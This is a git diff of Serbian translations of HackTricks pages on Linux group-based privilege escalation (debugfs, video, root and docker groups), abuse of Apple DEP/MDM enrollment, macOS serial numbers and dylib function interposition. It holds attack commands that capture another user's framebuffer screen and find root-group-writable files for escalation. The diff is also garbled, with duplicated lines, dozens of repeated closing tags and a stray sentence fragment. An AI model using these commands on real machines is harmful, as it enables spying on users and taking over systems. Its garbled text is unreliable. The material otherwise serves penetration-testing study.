||||
Napomena da pomoću debugfs možete takođe **pisati fajlove**. Na primer, da kopirate `/tmp/asd1.txt` u `/tmp/asd2.txt` možete uraditi:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
Međutim, ako pokušate **pisati datoteke koje su vlasništvo root-a** (poput `/etc/shadow` ili `/etc/passwd`), dobićete grešku "**Permission denied**".
|
||||
Međutim, ako pokušate da **pišete datoteke koje su u vlasništvu root-a** \(kao što su `/etc/shadow` ili `/etc/passwd`\) dobićete grešku "**Permission denied**".
|
||||
|
||||
# Video grupa
|
||||
# Video Grupa
|
||||
|
||||
Koristeći komandu `w` možete pronaći **ko je prijavljen na sistemu** i prikazaće se izlaz kao u sledećem primeru:
|
||||
Korišćenjem komande `w` možete saznati **ko je prijavljen na sistem** i prikazaće izlaz kao što je sledeći:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
**tty1** znači da je korisnik **yossi fizički prijavljen** na terminal na mašini.
|
||||
**tty1** znači da je korisnik **yossi fizički prijavljen** na terminalu na mašini.
|
||||
|
||||
Grupa **video** ima pristup za pregledanje izlaza ekrana. U osnovi, možete posmatrati ekrane. Da biste to uradili, trebate **uzeti trenutnu sliku ekrana** u sirovim podacima i dobiti rezoluciju koju ekran koristi. Podaci ekrana mogu biti sačuvani u `/dev/fb0`, a rezoluciju ovog ekrana možete pronaći na `/sys/class/graphics/fb0/virtual_size`.
|
||||
**video grupa** ima pristup za pregled izlaza sa ekrana. U suštini, možete posmatrati ekrane. Da biste to uradili, potrebno je da **uhvatite trenutnu sliku na ekranu** u sirovim podacima i dobijete rezoluciju koju ekran koristi. Podaci sa ekrana mogu se sačuvati u `/dev/fb0`, a rezoluciju ovog ekrana možete pronaći na `/sys/class/graphics/fb0/virtual_size`
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
Da biste **otvorili** **sirovu sliku**, možete koristiti **GIMP**, izaberite datoteku **`screen.raw`** i odaberite kao vrstu datoteke **Podaci o sirovoj slici**:
|
||||
Da biste **otvorili** **sirovu sliku**, možete koristiti **GIMP**, odabrati **`screen.raw`** datoteku i odabrati tip datoteke **Sirovi podaci o slici**:
|
||||
|
||||
![](../../.gitbook/assets/image%20%28208%29.png)
|
||||
|
||||
Zatim promenite širinu i visinu na one koje se koriste na ekranu i proverite različite vrste slika \(i odaberite onu koja najbolje prikazuje ekran\):
|
||||
Zatim promenite Širinu i Visinu na one koje koristi ekran i proverite različite Tipove slika \(i odaberite onaj koji bolje prikazuje ekran\):
|
||||
|
||||
![](../../.gitbook/assets/image%20%28295%29.png)
|
||||
|
||||
# Root Grupa
|
||||
|
||||
Izgleda da **članovi root grupe** podrazumevano mogu imati pristup za **izmenu** nekih **konfiguracionih datoteka servisa** ili nekih **biblioteka** ili **drugih interesantnih stvari** koje se mogu koristiti za eskalaciju privilegija...
|
||||
Izgleda da po defaultu **članovi root grupe** mogu imati pristup da **modifikuju** neke **konfiguracione** datoteke usluga ili neke **biblioteke** ili **druge zanimljive stvari** koje bi mogle biti korišćene za eskalaciju privilegija...
|
||||
|
||||
**Proverite koje datoteke članovi root grupe mogu menjati**:
|
||||
**Proverite koje datoteke članovi root grupe mogu modifikovati**:
|
||||
```bash
|
||||
find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
# Docker grupa
|
||||
# Docker Grupa
|
||||
|
||||
Možete montirati korenski fajl sistem host mašine na volumen instance, tako da kada se instanca pokrene, odmah učitava `chroot` u taj volumen. Ovo vam efektivno daje root pristup mašini.
|
||||
Možete montirati root datotečni sistem host mašine na volumen instance, tako da kada se instanca pokrene, odmah učitava `chroot` u taj volumen. Ovo vam efektivno daje root pristup na mašini.
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
|
||||
|
@ -149,18 +154,17 @@ Možete montirati korenski fajl sistem host mašine na volumen instance, tako da
|
|||
|
||||
[lxc - Eskalacija privilegija](lxd-privilege-escalation.md)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,96 @@
|
|||
# Уписивање уређаја у друге организације
|
||||
# Enrolling Devices in Other Organisations
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Научите хаковање AWS-а од нуле до експерта са</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Други начини да подржите HackTricks:
|
||||
|
||||
* Ако желите да видите вашу **компанију рекламирану на HackTricks** или **преузмете HackTricks у PDF-у** Проверите [**ПРЕТПЛАТНЕ ПЛАНОВЕ**](https://github.com/sponsors/carlospolop)!
|
||||
* Набавите [**званични PEASS & HackTricks сувенир**](https://peass.creator-spring.com)
|
||||
* Откријте [**The PEASS Family**](https://opensea.io/collection/the-peass-family), нашу колекцију ексклузивних [**NFT-ова**](https://opensea.io/collection/the-peass-family)
|
||||
* **Придружите се** 💬 [**Discord групи**](https://discord.gg/hRep4RUj7f) или [**телеграм групи**](https://t.me/peass) или **пратите** нас на **Твитеру** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поделите своје хакерске трикове слањем PR-ова на** [**HackTricks**](https://github.com/carlospolop/hacktricks) и [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторијуме.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Увод
|
||||
## Intro
|
||||
|
||||
Као што је [**претходно коментарисано**](./#what-is-mdm-mobile-device-management)**,** да би се покушало уписивање уређаја у организацију, потребан је само серијски број који припада тој организацији. Када се уређај упише, више организација ће инсталирати осетљиве податке на нови уређај: сертификате, апликације, лозинке за WiFi, конфигурације VPN-а [и тако даље](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Следоватно, ово може бити опасна тачка улаза за нападаче ако процес уписивања није исправно заштићен.
|
||||
Kao što je [**ranije komentarisano**](./#what-is-mdm-mobile-device-management)**,** da bi se pokušalo registrovati uređaj u organizaciji **potreban je samo Serijski Broj koji pripada toj Organizaciji**. Kada je uređaj registrovan, nekoliko organizacija će instalirati osetljive podatke na novom uređaju: sertifikate, aplikacije, WiFi lozinke, VPN konfiguracije [i tako dalje](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Stoga, ovo može biti opasna tačka ulaza za napadače ako proces registracije nije pravilno zaštićen.
|
||||
|
||||
**Следи резиме истраживања [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Проверите га за додатне техничке детаље!**
|
||||
**Sledeće je sažetak istraživanja [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Proverite ga za dodatne tehničke detalje!**
|
||||
|
||||
## Преглед DEP и MDM бинарних анализа
|
||||
## Overview of DEP and MDM Binary Analysis
|
||||
|
||||
Ово истраживање улази у бинарне датотеке повезане са програмом за уписивање уређаја (DEP) и управљање мобилним уређајима (MDM) на macOS-у. Кључни компоненти укључују:
|
||||
Ovo istraživanje se bavi binarnim datotekama povezanim sa Programom za Registraciju Uređaja (DEP) i Upravom Mobilnih Uređaja (MDM) na macOS-u. Ključne komponente uključuju:
|
||||
|
||||
- **`mdmclient`**: Комуницира са MDM серверима и покреће DEP провере на macOS верзијама пре 10.13.4.
|
||||
- **`profiles`**: Управља конфигурационим профилима и покреће DEP провере на macOS верзијама 10.13.4 и новијим.
|
||||
- **`cloudconfigurationd`**: Управља DEP API комуникацијом и преузима профиле уписивања уређаја.
|
||||
- **`mdmclient`**: Komunicira sa MDM serverima i pokreće DEP prijave na macOS verzijama pre 10.13.4.
|
||||
- **`profiles`**: Upravljanje Konfiguracionim Profilima, i pokreće DEP prijave na macOS verzijama 10.13.4 i novijim.
|
||||
- **`cloudconfigurationd`**: Upravljanje DEP API komunikacijama i preuzimanje profila za Registraciju Uređaja.
|
||||
|
||||
DEP провере користе функције `CPFetchActivationRecord` и `CPGetActivationRecord` из приватног оквира конфигурационих профила за преузимање записа активације, при чему `CPFetchActivationRecord` сарађује са `cloudconfigurationd` преко XPC-а.
|
||||
DEP prijave koriste funkcije `CPFetchActivationRecord` i `CPGetActivationRecord` iz privatnog okvira Konfiguracionih Profila za preuzimanje Aktivacionog Zapisa, pri čemu `CPFetchActivationRecord` koordinira sa `cloudconfigurationd` putem XPC.
|
||||
|
||||
## Реверзно инжењерство Tesla протокола и Absinthe шеме
|
||||
## Tesla Protocol and Absinthe Scheme Reverse Engineering
|
||||
|
||||
DEP провера укључује да `cloudconfigurationd` шаље шифровану и потписану JSON поруку на _iprofiles.apple.com/macProfile_. Порука укључује серијски број уређаја и акцију "RequestProfileConfiguration". Шема шифровања која се користи интерно се назива "Absinthe". Разоткривање ове шеме је комплексно и укључује бројне кораке, што је довело до истраживања алтернативних метода за уметање произвољних серијских бројева у захтев за запис активације.
|
||||
DEP prijava uključuje `cloudconfigurationd` slanje enkriptovanog, potpisanog JSON paketa na _iprofiles.apple.com/macProfile_. Paket uključuje serijski broj uređaja i akciju "RequestProfileConfiguration". Šema enkripcije koja se koristi interno se naziva "Absinthe". Razotkrivanje ove šeme je složeno i uključuje brojne korake, što je dovelo do istraživanja alternativnih metoda za umetanje proizvoljnih serijskih brojeva u zahtev za Aktivacioni Zapis.
|
||||
|
||||
## Проксирање DEP захтева
|
||||
## Proxying DEP Requests
|
||||
|
||||
Покушаји прехвата и измене DEP захтева ка _iprofiles.apple.com_ користећи алатке као што је Charles Proxy били су ометени шифровањем поруке и мерама безбедности SSL/TLS. Међутим, омогућавање конфигурације `MCCloudConfigAcceptAnyHTTPSCertificate` омогућава обилазак провере сертификата сервера, иако шифрована природа поруке и даље спречава измену серијског броја без кључа за дешифровање.
|
||||
Pokušaji presretanja i modifikacije DEP zahteva ka _iprofiles.apple.com_ korišćenjem alata kao što je Charles Proxy su ometeni enkripcijom paketa i SSL/TLS bezbednosnim merama. Međutim, omogućavanje konfiguracije `MCCloudConfigAcceptAnyHTTPSCertificate` omogućava zaobilaženje validacije sertifikata servera, iako enkriptovana priroda paketa i dalje sprečava modifikaciju serijskog broja bez ključa za dekripciju.
|
||||
|
||||
## Инструментирање системских бинарних датотека које комуницирају са DEP-ом
|
||||
## Instrumenting System Binaries Interacting with DEP
|
||||
|
||||
Инструментирање системских бинарних датотека као што је `cloudconfigurationd` захтева онемогућавање Заштите системске целовитости (SIP) на macOS-у. Са онемогућеним SIP-ом, алатке као што је LLDB могу се користити за придруживање системским процесима и потенцијалну измену серијског броја који се користи у интеракцији са DEP API-јем. Овај метод је посебно пожељан јер избегава комплексности овлашћења и потписивања кода.
|
||||
Instrumentacija sistemskih binarnih datoteka kao što je `cloudconfigurationd` zahteva onemogućavanje Zaštite Integriteta Sistema (SIP) na macOS-u. Sa onemogućenim SIP-om, alati kao što je LLDB mogu se koristiti za povezivanje sa sistemskim procesima i potencijalno modifikovanje serijskog broja koji se koristi u DEP API interakcijama. Ova metoda je poželjnija jer izbegava složenosti vezane za prava i potpisivanje koda.
|
||||
|
||||
**Искоришћавање инструментације бинарних датотека:**
|
||||
Измена захтева DEP пре серијализације JSON-а у `cloudconfigurationd` показала се ефикасном. Процес је укључивао:
|
||||
**Exploiting Binary Instrumentation:**
|
||||
Modifikacija DEP zahteva paketa pre JSON serijalizacije u `cloudconfigurationd` se pokazala efikasnom. Proces je uključivao:
|
||||
|
||||
1. Придруживање LLDB-а `cloudconfigurationd`-у.
|
||||
2. Локализовање тачке где се добија системски серијски број.
|
||||
3. Уметање произвољног серијског броја у меморију пре шифровања и слања поруке.
|
||||
1. Povezivanje LLDB sa `cloudconfigurationd`.
|
||||
2. Lociranje tačke gde se preuzima serijski broj sistema.
|
||||
3. Umetanje proizvoljnog serijskog broja u memoriju pre nego što se paket enkriptuje i pošalje.
|
||||
|
||||
Овај метод је омогућио преузимање потпуних DEP профила за произвољне серијске бројеве, што демонстрира потенцијалну ранјивост.
|
||||
Ova metoda je omogućila preuzimanje kompletnog DEP profila za proizvoljne serijske brojeve, pokazujući potencijalnu ranjivost.
|
||||
|
||||
### Аутоматизација инструментације помоћу Python-a
|
||||
### Automating Instrumentation with Python
|
||||
|
||||
Процес искоришћавања је аутоматизован помоћу Python-a са LLDB API-јем, што омогућава програмско уметање произвољних серијских бројева и преузимање одговар
|
||||
Proces eksploatacije je automatizovan korišćenjem Pythona sa LLDB API, što je omogućilo programatsko umetanje proizvoljnih serijskih brojeva i preuzimanje odgovarajućih DEP profila.
|
||||
|
||||
### Potential Impacts of DEP and MDM Vulnerabilities
|
||||
|
||||
Istraživanje je istaklo značajne bezbednosne brige:
|
||||
|
||||
1. **Otkrivanje Informacija**: Pružanjem serijskog broja registrovanog u DEP-u, osetljive organizacione informacije sadržane u DEP profilu mogu se preuzeti.
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,47 @@
|
|||
# macOS serijski broj
|
||||
# macOS Serijski Broj
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Osnovne informacije
|
||||
## Osnovne Informacije
|
||||
|
||||
Apple uređaji nakon 2010. godine imaju serijske brojeve koji se sastoje od **12 alfanumeričkih karaktera**, pri čemu svaki segment prenosi određene informacije:
|
||||
Apple uređaji posle 2010. godine imaju serijske brojeve koji se sastoje od **12 alfanumeričkih karaktera**, pri čemu svaki segment prenosi specifične informacije:
|
||||
|
||||
- **Prva 3 karaktera**: Označavaju **lokaciju proizvodnje**.
|
||||
- **Karakteri 4 i 5**: Označavaju **godinu i nedelju proizvodnje**.
|
||||
- **Prva 3 Karaktera**: Oznaka **mesta proizvodnje**.
|
||||
- **Karakteri 4 i 5**: Oznaka **godine i nedelje proizvodnje**.
|
||||
- **Karakteri 6 do 8**: Služe kao **jedinstveni identifikator** za svaki uređaj.
|
||||
- **Poslednja 4 karaktera**: Specificiraju **modelni broj**.
|
||||
- **Poslednja 4 Karaktera**: Oznaka **broja modela**.
|
||||
|
||||
Na primer, serijski broj **C02L13ECF8J2** prati ovu strukturu.
|
||||
|
||||
### **Lokacije proizvodnje (Prva 3 karaktera)**
|
||||
### **Mesta Proizvodnje (Prva 3 Karaktera)**
|
||||
Određeni kodovi predstavljaju specifične fabrike:
|
||||
- **FC, F, XA/XB/QP/G8**: Različite lokacije u SAD-u.
|
||||
- **RN**: Meksiko.
|
||||
- **CK**: Cork, Irska.
|
||||
- **CK**: Kork, Irska.
|
||||
- **VM**: Foxconn, Češka Republika.
|
||||
- **SG/E**: Singapur.
|
||||
- **MB**: Malezija.
|
||||
|
@ -40,32 +51,43 @@ Određeni kodovi predstavljaju specifične fabrike:
|
|||
- **C0, C3, C7**: Specifični gradovi u Kini.
|
||||
- **RM**: Obnovljeni uređaji.
|
||||
|
||||
### **Godina proizvodnje (4. karakter)**
|
||||
### **Godina Proizvodnje (4. Karakter)**
|
||||
Ovaj karakter varira od 'C' (predstavlja prvu polovinu 2010. godine) do 'Z' (druga polovina 2019. godine), pri čemu različita slova označavaju različite polugodišnje periode.
|
||||
|
||||
### **Nedelja proizvodnje (5. karakter)**
|
||||
Brojevi 1-9 odgovaraju nedeljama 1-9. Slova C-Y (isključujući samoglasnike i 'S') predstavljaju nedelje 10-27. Za drugu polovinu godine, ovom broju se dodaje 26.
|
||||
### **Nedelja Proizvodnje (5. Karakter)**
|
||||
Brojevi 1-9 odgovaraju nedeljama 1-9. Slova C-Y (izuzev samoglasnika i 'S') predstavljaju nedelje 10-27. Za drugu polovinu godine, 26 se dodaje ovom broju.
|
||||
|
||||
### **Jedinstveni identifikator (Karakteri 6 do 8)**
|
||||
Ova tri broja osiguravaju da svaki uređaj, čak i istog modela i serije, ima jedinstveni serijski broj.
|
||||
|
||||
### **Modelni broj (Poslednja 4 karaktera)**
|
||||
Ovi brojevi identifikuju specifični model uređaja.
|
||||
|
||||
### Reference
|
||||
|
||||
* [https://beetstech.com/blog/decode-meaning-behind-apple-serial-number](https://beetstech.com/blog/decode-meaning-behind-apple-serial-number)
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# macOS Funkcijsko kvačenje
|
||||
# macOS Function Hooking
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Interponiranje funkcija
|
||||
## Interpozicija funkcija
|
||||
|
||||
Kreirajte **dylib** sa **`__interpose`** sekcijom (ili sekcijom označenom sa **`S_INTERPOSING`**) koja sadrži tuple **pokazivača na funkcije** koji se odnose na **originalne** i **zamenske** funkcije.
|
||||
